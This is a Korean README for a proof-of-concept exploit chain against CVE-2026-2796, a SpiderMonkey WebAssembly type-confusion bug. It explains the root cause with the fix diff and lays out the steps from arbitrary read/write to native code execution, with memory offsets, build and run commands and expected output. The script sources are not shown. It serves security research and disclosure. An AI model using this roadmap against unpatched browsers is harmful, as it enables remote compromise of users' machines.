
CVE-2026-2796용 PoC 익스플로잇 체인: SpiderMonkey WebAssembly 샌드박스 탈출 (시그니처 타입 혼동 -> 임의 읽기/쓰기 -> RCE)
CVE-2026-2796에 대한 개념 증명(PoC) 익스플로잇 체인으로, Mozilla SpiderMonkey의 WebAssembly 가져오기 최적화("JavaScript: WebAssembly" 컴포넌트)에서 발생하는 JIT 컴파일 오류/타입 혼동 취약점입니다. 특수 제작된 wasm 모듈이 호스트 프로세스 전체에 대한 임의 읽기/쓰기 및 임의 네이티브 코드 실행을 획득하여 WebAssembly 샌드박스를 탈출합니다.
e2acef67 ("Bug 2013165 - Fix import optimization")wasm 모듈이 JS 함수를 가져오면 SpiderMonkey는 MaybeOptimizeFunctionCallBind(js/src/wasm/WasmInstance.cpp)에서 최적화를 적용하여 Function.prototype.call.bind(fn) 형태의 가져오기를 언랩하고 fn을 가져오기의 호출 가능 객체(callable)로 직접 저장합니다. 그런데 바인딩된 값 자체가 wasm으로 내보낸 함수인지 확인하지 않았습니다:
+ if (boundThis.toObject().is<JSFunction>() &&
+ boundThis.toObject().as<JSFunction>().isWasm()) {
+ return nullptr;
+ }
이 검사가 빠지면 가져오기는 원래 wasm 함수로 취급되어, JS 래퍼와 함께 시그니처 검사도 건너뜁니다. 따라서 wasm 함수는 실제 타입과 일치하지 않는 선언된 가져오기 타입을 통해 호출될 수 있습니다. 값은 레지스터에서 변경되지 않은 채 전달되며, 오직 그 해석만 달라집니다(예: 공격자가 제어하는 i64가 (ref $t) GC 포인터로 사용되고, 그 반대의 경우도 마찬가지입니다).
| 파일 | 단계 | 결과 |
|---|---|---|
poc-crash.js | 시그니처 혼동 | i64.const 0xDEADBEEF가 funcref 포인터로 역참조됨 → 0xdeadbf2f에서 SIGSEGV |
poc-addrof.js | addrOf + fakeobj | 양방향 혼동(i64 ↔ (ref $t)) → 가짜 WasmArrayObject(numElements_ @+16, data_ @+24, 인라인 데이터 @+40) → 프로세스 내 임의 위치 읽기/쓰기 |
poc-recon.js | 레이아웃 정찰 | JSFunction 네이티브 포인터 @+0x20 → 바이너리 베이스 누출; WasmFuncRef typeDef 포인터 @+0x40 |
poc-forge.js | 제어 흐름 | 위조된 funcref가 call_ref 타입 검사를 통과; 호출 대상이 [funcref+0x38]에서 로드됨 |
poc-rce.js | 코드 실행 | 위조된 funcref → 누출된 system()을 통한 system("touch /tmp/CVE-2026-2796-PWNED") (바이너리 베이스 + GOT 엔트리 @ base+0x11d47b0) |
혼동 프리미티브는 Mozilla 자체 회귀 테스트(js/src/jit-test/tests/wasm/regress/bug2013165.js)와 정확히 동일한 방식으로 얻습니다: 서로 다른 시그니처를 가진 가져오기 선언이 있는 두 번째 모듈에 Function.prototype.call.bind(wasmExport)를 가져온 다음 ref.func + call_ref를 사용합니다.
# Firefox source @ 2fbc0748c460b38fc95407a3f14c41d12fb12026 (2026-01-14,
# Firefox 148 nightly — predates the fix). Any pre-148 revision works.
cd js/src
../../configure --enable-debug --enable-optimize --without-intl-api \
--enable-project=js # objdir e.g. js/src/_obj
cd _obj && make -j8
# binary: dist/bin/js (reports "JavaScript-C149.0a1")
JS=/path/to/dist/bin/js
$JS poc/poc-crash.js # SIGSEGV at 0xdeadbf2f
$JS poc/poc-addrof.js # prints [+] arbitrary read OK / write OK
$JS poc/poc-recon.js # dumps JSFunction / WasmFuncRef memory
$JS poc/poc-forge.js # crashes with PC = planted canary
rm -f /tmp/CVE-2026-2796-PWNED
$JS poc/poc-rce.js # creates /tmp/CVE-2026-2796-PWNED via system()
패치된 빌드(Firefox ≥ 148)에서는 poc-crash.js가 대신 TypeError: bad type를 던집니다 — 시그니처 검사가 복원된 상태입니다.
오프셋은 macOS arm64(js 셸, 이 정확한 리비전/빌드 플래그) 기준입니다: WasmArrayObject { +16 numElements, +24 data_, +40 인라인 데이터 }, JSFunction 네이티브 @ +0x20, WasmFuncRef { +0x40 typeDef, +0x38 호출 대상 }. 이 값들은 PoC의 자체 테스트를 통해 런타임에 경험적으로 검증됩니다; 다른 빌드/아키텍처에서는 재도출이 필요합니다(정찰 PoC가 대부분을 자동화합니다). arm64(비-arm64e) 바이너리에는 PAC이 없습니다; 호출 시점에 JIT 영역에 쓸 수 없으므로 체인은 코드를 주입하는 대신 기존 호출 대상을 하이재킹합니다.
2단계 분석은 docs/full-escape.md를 참조하세요: CVE-2026-2768(Bug 2014101, 부모 프로세스 IndexedDB OOB 쓰기)을 통한 렌더러 코드 실행에서 OS 샌드박스 탈출 — 완전한 Firefox 침해의 "두 번째 버그"입니다. 여기서 사용된 취약한 트리 역시 해당 수정 이전 버전입니다.
이 익스플로잇은 wasm 엔진 샌드박스(선형 메모리/GC 격리)를 탈출하여 현재 프로세스 내에서 네이티브 코드 실행을 얻습니다. 실제 브라우저 공격에서는 Firefox 콘텐츠 프로세스 내부에 도달합니다; OS 샌드박스 탈출("두 번째 버그": IPC 혼동 또는 커널 익스플로잇)은 별개의 문제이며 이 PoC에 포함되지 않습니다.
javascript.options.wasm=false가 트리거 벡터를 차단합니다.보안 연구, 교육 및 방어적 테스트 목적으로만 사용하세요. 이 취약점은 현재 Firefox/Thunderbird 릴리스에서 패치되었습니다. 소유하지 않았거나 테스트에 대한 명시적 승인을 받지 않은 시스템에 대해서는 사용하지 마세요.